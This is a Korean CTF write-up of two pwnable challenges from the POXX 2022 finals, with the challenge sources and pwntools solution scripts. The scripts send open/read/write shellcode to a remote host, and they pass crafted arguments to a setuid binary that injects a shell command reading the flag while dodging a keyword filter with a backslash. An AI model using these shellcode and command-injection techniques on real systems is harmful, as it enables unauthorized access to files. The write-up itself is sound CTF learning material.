CIDY
[POXX 2022 본선] Write-up? 본문
어쩌다가 POX본선까지 가서 어쩌다가 1등까지 해버렸다. 1등할 줄 알았으면 팀 이름 좀 멋있게 지을걸
팀에서 포너블 담당이라 포너블 문제만 봤는데, 예선때는 괜찮은 문제가 별로 없었는데 본선에서는 그래도 나름 배워갈 게 조금 있었다.
그래서 잊기전에 정리해둘 겸 글을 써본다.. 모든 포너블 문제를 정리한 것은 아니고, 좋은 문제만 선별한 것도 아니고, 그냥 개인적으로 배울 부분이 있었던 것만 정리한 것이다.
exploitMe
// Compile: gcc -o excuseme excuseme.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void excuse_me() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("Excuse me, Exploit me :>");
read(0, shellcode, 0x1000);
excuse_me();
sc = (void *)shellcode;
sc();
}
흔한 orw쉘코딩 문제였다. shellcraft로 open -> read -> write해주면 되는데, 문제는 flag의 경로를 모른다는 데 있다. 해당 경로를 알아내기 위해서는 다음과 같이 하면 된다.
from pwn import *
context(arch="amd64", log_level = 'DEBUG')
p = remote("43.201.142.219", 49180)
payload = b''
#payload += asm('mov rsp, QWORD PTR fs:[0]')
payload += asm(shellcraft.openat(0, '/home/ctf/flag'))
payload += asm(shellcraft.read(3, 'rsp', 0x500))
payload += asm(shellcraft.write(1, 'rsp', 0x500))
p.sendline(payload)
p.interactive()
위 코드에서 주석 부분을 해제한 다음, log_level을 DEBUG로 맞추고, .부터 (payload += asm(shellcraft.open('.'))) 시작해서 payload를 보내면 주고받는 데이터들 사이에서 경로를 찾을 수 있다. (해당 디렉토리에 있는 디렉토리나 파일들을 출력해준다.) 그렇게 flag까지 도달하는 경로를 찾을 때 까지 파일 경로를 하나씩 늘려가면서 시도하면 된다.
Save Files
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char* envp[]){
setuid(0);
printf("Warning! Your computer is under attack!\n");
printf("Enter the correct answers or your files will be infected!\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['4'],"\xAA")) return 0;
if(strcmp(argv['B'],"\xBE\xDB\xED")) return 0;
printf("Step 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x11\x22\x33\x44", 4)) return 0;
printf("Step 2 clear!\n");
// filter
delete_env();
putenv("PATH=/p0xpro0b1@m");
if(filter(argv[1])) {
printf("Oh... Your files are all infected... :(\n");
return 0;
}
printf("Step 3 clear!\n");
system(argv[1]);
return 0;
}
여기서는 두 가지 정도 배워갈 게 있었다. 우선 pwntools에서 argument전달 방법이다. argc가 100개나 되어야 하므로 직접 전달해줄 수는 없는 노릇이다.
from pwn import *
p1 = ssh("chall", "43.201.142.219", port=49252, password="poxpox")
argv1 = ["" for i in range(100)]
argv1[0] = b"./chall"
argv1[1] = "while read line; do echo $line; done < f\lag "
argv1[52] = b"\xAA"
argv1[66] = b"\xBE\xDB\xED"
p = p1.process(executable="/home/chall/chall", argv=argv1)
p.sendline(b"\x11\x22\x33\x44")
p.interactive()
위와 같이 해서 argv를 전달해줄 수 있다. ["" for i in range(100)] 하면 알아서 argc = 100으로 세팅된다. 다만 [0]을 따로 설정하지 않으면 빈 것으로 처리되어서, [0]도 설정해줘야 하는 부분을 유의해야 한다.
저렇게 argv를 만든 다음, process에 argv=으로 전달해주면 된다.
그리고 이게 또 한 가지 문제가 cat을 포함해서 거의 모든 파일 읽기 명령어가 막혀있었다.
하지만 저번에 cykor에서 했던 ctf때도 그렇고, 모든 읽기 명령어가 막혀도 echo명령어는 대부분 살아있다.
따라서 위와 같이 while문을 구성해 echo로 flag를 읽어올 수 있다. 그리고 명령어 칠 때 \ 문자는 아예 무시되니까 저렇게 필터링은 간단히 우회할 수 있다.
'Hack > CTF' 카테고리의 다른 글
[TAMU CTF 2023] Write up (2) | 2023.05.08 |
---|---|
[Midnight Sun CTF 2023] MemeControl (0) | 2023.04.09 |
[LACTF 2023] stuff (4) | 2023.02.15 |
[MHSCTF 2023] Feb. 5 — Rescue Mission (0) | 2023.02.15 |
[MHSCTF 2023] Feb. 1 — Balloons (0) | 2023.02.15 |